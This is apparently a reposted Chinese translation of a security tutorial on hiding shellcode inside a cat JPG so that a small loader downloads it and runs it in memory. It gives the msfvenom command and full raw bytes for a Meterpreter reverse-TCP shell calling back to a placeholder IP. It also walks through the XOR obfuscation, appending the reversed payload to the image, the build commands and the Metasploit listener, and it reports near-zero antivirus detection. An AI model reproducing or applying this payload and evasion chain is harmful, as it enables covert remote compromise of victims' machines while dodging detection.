Quantcast
Channel: CodeSection,代码区,网络安全 - CodeSec
Viewing all articles
Browse latest Browse all 12749

【技术分享】如何从猫咪图片中加载运行shellcode

0
0
【技术分享】如何从猫咪图片中加载运行shellcode

2017-04-01 10:34:10
来源:infosecinstitute.com 作者:興趣使然的小胃

阅读:91次
点赞(0)
收藏





【技术分享】如何从猫咪图片中加载运行shellcode

翻译:興趣使然的小胃

预估稿费:190RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


一、前言

猫咪是互联网的宠儿,这也是我为什么会考虑将猫咪和恶意软件联系在一起。

在某个偶然场合下,我接触到了一种比较特别的代码执行方法,其中涉及到某些可执行文件和一张图片。通常情况下,程序会下载图片文件,将该文件转化为可执行文件然后再运行。这种方法技术比较粗糙,可以在某些方面进行改进。

比如这种方法存在文件落盘行为,容易被反病毒软件检测出来。你可以通过内存执行方式来解决这个问题。然而,这么做的话你会遇到另一个问题,那就是你需要修改可执行文件中的IAT(Import Address Table,导入函数表)以及其他方面内容,因为可执行文件需要加载到其他程序的共享地址空间。

本文提出了一种方法,可以将shellcode嵌入到一张图片中,利用程序在堆中分配空间,下载远程图片然后执行图片中的shellcode。

这种方法使用内存运行方式,不容易被检测分析。在本文案例中,我们将使用一张JPG图片完成此项任务。


二、环境准备

你需要具备以下条件:

1、windows系统

2、linux工具

3、汇编知识

4、了解基本的MSFVenom载荷生成方法

5、编辑器:HexEditor(或WxHexEditor)

6、安装GCC并添加到$PATH环境变量中

7、安装Nasm并添加到$PATH环境变量中

其他可选条件:

8、调试器:Ollydbg或x64dbg

9、将ASM指令转换为Op代码的工具。我使用的是Ram Michael的MultiLine Ultimate Assembler插件:MUA插件


三、前期处理

由于可执行文件的执行过程总是遵循从头部到尾部的顺序,因此我们需要掌握在内存中运行自定义载荷的方法。当你通过HTTP方式下载一个文件时,你会收到HTTP响应头和紧跟其后的文件内容。由于响应头位置靠前且大小不固定,我们难以预测需要跳转到哪个具体位置来执行代码。我们能做的就是将载荷信息放到图片尾部,将这段载荷拷贝到堆上的另一块内存空间,然后跳转到对应位置。

插入载荷后的图片二进制数据如下所示:

JPEG图片头:FFD8FFE00010 JFIFASCII字符:4A464946 图片字节数据 图片字节数据 载荷尾部:CCCCCCCC 载荷中部:BBBBBBBB 载荷头部:AAAAAAAA

我们需要分配内存空间,跳转到载荷中的AA AA AA AA处并翻转载荷数据。载荷在内存中翻转后的内容如下:

载荷头部:AAAAAAAA 载荷中部:BBBBBBBB 载荷尾部:CCCCCCCC

这一步完成后,我们只要跳转到正确地址就能顺利运行载荷。

本例中,我编写了一个简单的混淆器,对载荷进行异或处理,通过混淆器还原并运行载荷。

这个混淆器将载荷按WORD大小分割为多段数据,将FFFF添加到每段数据前头,通过逐位运算移除FFFF,将处理后的WORD添加到DWORD的第一部分,然后再添加下一个WORD数据到DWORD的第二部分。处理过程如下所示:

Moveax,FFFFAABB;将数据Move到EAX Andeax,FFFF;移除头部的FFFF Movebx,FFFFCCDD;将数据Move到EBX Movax,bx;EAX填充为AABBCCDD Pusheax;压入栈中 Jmpesp;跳转到载荷在栈中的地址并执行

出于混淆目的,我的代码中添加了一些异或处理过程,如果你有任何疑问,可以仔细研读代码并亲自动手试试代码的输出结果。


四、开始工作

我们先介绍一下如何使用MSFVENOM生成一段简单的载荷。你需要根据实际情况修改以下命令中的LPORT和LHOST参数值:

msfvenom-ax86–platformwindows-pwindows/meterpreter/reverse_tcpLHOST=1.2.3.4LPORT=5555-fc

输出结果如下所示,我标粗了其中的IP数据,以便读者替换为自己的IP(可以使用IP/Hex Converter这个工具)。

“\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30” “\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff” “\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52” “\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1” “\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b” “\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03” “\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b” “\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24” “\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb” “\x8d\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c” “\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68” “\x29\x80\x6b\x00\xff\xd5\x6a\x05\x68\x01\x02\x03\x04\x68\x02″ “\x00\x15\xb3\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea” “\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5\x74\x61” “\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x61\x00\x00” “\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83” “\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a” “\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57” “\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x22\x58\x68\x00” “\x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5\x57\x68” “\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\xe9\x71\xff\xff” “\xff\x01\xc3\x29\xc6\x75\xc7\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00” “\x53\xff\xd5”;

在我的混淆器中,将“SHELLCODE GOES HERE”这段替换为上述数据。使用如下gcc命令编译混淆器源码:

Gcc-std=c11LazyBitmaskEncoder.c-oencoder.exe

将程序的输出结果导出到文件中:

encoder.exe>somefile.txt
【技术分享】如何从猫咪图片中加载运行shellcode

在本文案例中,我有个值为31的额外字节,程序的警告信息提示我应该将它转化为经过异或处理的Nop指令(即7E),如下所示:


【技术分享】如何从猫咪图片中加载运行shellcode

现在我们需要得到上述汇编代码的字节码,网上可能有在线工具将汇编语言转化为字节码,在这里我使用的是Ram Michael开发的用于OllyDbg或X64dbg的MUA插件,如下所示:


【技术分享】如何从猫咪图片中加载运行shellcode

接下来我们选中这些字节码,在软件右键菜单中,选择“编辑”、“二进制拷贝”,将字节码拷贝出来。你也可以通过CTRL+INSERT组合键完成这个过程。


【技术分享】如何从猫咪图片中加载运行shellcode

然后我们将这些字节码附到图片的尾部。如前文所述,我们需要以相反顺序将它们附到图像尾部。在Linux中,要做到这一点十分简单。

以下是未做顺序变换处理前的字节码数据。


【技术分享】如何从猫咪图片中加载运行shellcode

我将这些数据保存到为“moo”文件,运行如下命令以获得正确顺序的数据。

foriin`catmoo`;doecho$i;done|tac|sed‘:a;N;$!ba;s/\n//g’
【技术分享】如何从猫咪图片中加载运行shellcode

现在我们需要将处理后的数据插入到图片中。选一张你最中意的猫咪图片,我选了如下一张暹罗猫图片。


【技术分享】如何从猫咪图片中加载运行shellcode

接下来是将那个shellcode拷贝到图片中。我们可以使用WxHexEditor以二进制形式打开图片,复制图片中的字节数据。需要时刻提醒自己,载荷必须放在尾部,如果你发现载荷不在尾部,那么你需要填充多个0x90直到shellcode的起始位置。


【技术分享】如何从猫咪图片中加载运行shellcode

图片尾部附加shellcode后如下图所示。保存为图片后,你会发现图像尾部存在一些微小的颜色失真现象。


【技术分享】如何从猫咪图片中加载运行shellcode

最后一个步骤,我们需要把这个图片放到Web服务器上,写个简单的程序,下载图片到内存中,跳转到正确地址,执行这段shellcode。最简单的一个方法还是通过汇编语言。

我写了一个汇编程序来完成这个任务。编译命令如下:

nasm-fwin32GhostExe.asm gcc-fno-use-linker-pluginGhostExe.obj-oGhostExe.exe

我建议你可以打开调试器,将调试器附加到某个在运行的进程中,一步一步跟下来,观察它执行的步骤以加深理解。

如果你选择使用调试器,你可以看一下GhostExe.exe在00401482位置的偏移量,这是接收数据之后所在的位置。你可以在ECX的尾部看到输出的载荷数据。

或者你可以直接使用Metasploit,运行exe让它自动化执行。

msf>useexploitmulti/handler msf>setpayloadwindows/meterpreter/reverse_tcp msf>setlhost<localIP> msf>setlport<localport> msf>setExitOnSessionfalse msf>exploit-j

以下是NoDistrubute.com给出的检测结果,只有1/35的检出率,非常好的一个结果。


【技术分享】如何从猫咪图片中加载运行shellcode

五、可选的调试步骤

我们可以看看调试步骤的一些截图


【技术分享】如何从猫咪图片中加载运行shellcode

定位到“JMP EAX”指令,这是我们从猫咪图片中跳转到shellcode的指令。


【技术分享】如何从猫咪图片中加载运行shellcode

是不是很眼熟:


【技术分享】如何从猫咪图片中加载运行shellcode

这就是我们原始的载荷:


【技术分享】如何从猫咪图片中加载运行shellcode

【技术分享】如何从猫咪图片中加载运行shellcode
【技术分享】如何从猫咪图片中加载运行shellcode
本文由 安全客 翻译,转载请注明“转自安全客”,并附上链接。
原文链接:http://resources.infosecinstitute.com/launching-shellcode-cat-pictures/

Viewing all articles
Browse latest Browse all 12749

Latest Images

Trending Articles





Latest Images